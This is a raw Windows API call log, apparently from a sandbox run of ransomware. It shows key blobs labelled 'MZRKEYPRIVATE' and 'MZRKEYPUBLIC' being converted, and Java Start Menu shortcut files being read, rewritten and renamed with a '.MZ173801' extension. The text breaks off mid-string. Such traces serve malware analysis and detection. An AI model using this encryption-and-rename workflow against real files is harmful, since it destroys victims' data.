QtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0214.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24aff6c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0214.479] GetCurrentThreadId () returned 0xab4 [0214.479] GetCurrentThreadId () returned 0xab4 [0214.479] GetCurrentThreadId () returned 0xab4 [0214.479] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0214.479] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c0fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0214.480] GetCurrentThreadId () returned 0xab4 [0214.480] GetCurrentThreadId () returned 0xab4 [0214.480] GetCurrentThreadId () returned 0xab4 [0214.480] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\about java.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0214.480] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0214.480] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0214.480] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x830 [0214.480] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0214.480] ReadFile (in: hFile=0x330, lpBuffer=0x24c8dd0, nNumberOfBytesToRead=0x830, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24c8dd0*, lpNumberOfBytesRead=0x19f480*=0x830, lpOverlapped=0x0) returned 1 [0214.483] CloseHandle (hObject=0x330) returned 1 [0214.483] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\about java.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0214.485] WriteFile (in: hFile=0x330, lpBuffer=0x24cae00*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24cae00*, lpNumberOfBytesWritten=0x19f48c*=0x830, lpOverlapped=0x0) returned 1 [0214.487] CloseHandle (hObject=0x330) returned 1 [0214.487] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\about java.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\about java.lnk.mz173801")) returned 1 [0214.488] GetCurrentThreadId () returned 0xab4 [0214.488] GetCurrentThreadId () returned 0xab4 [0214.488] GetCurrentThreadId () returned 0xab4 [0214.488] GetCurrentThreadId () returned 0xab4 [0214.488] GetCurrentThreadId () returned 0xab4 [0214.488] GetCurrentThreadId () returned 0xab4 [0214.488] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac589477, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac589477, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac589477, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x842, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Check For Updates.lnk", cAlternateFileName="CHECKF~1.LNK")) returned 1 [0214.488] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.488] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.488] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\check for updates.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac589477, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac589477, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac589477, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x842)) returned 1 [0214.488] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\check for updates.lnk")) returned 0x20 [0214.488] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk", dwFileAttributes=0x80) returned 1 [0214.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0214.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw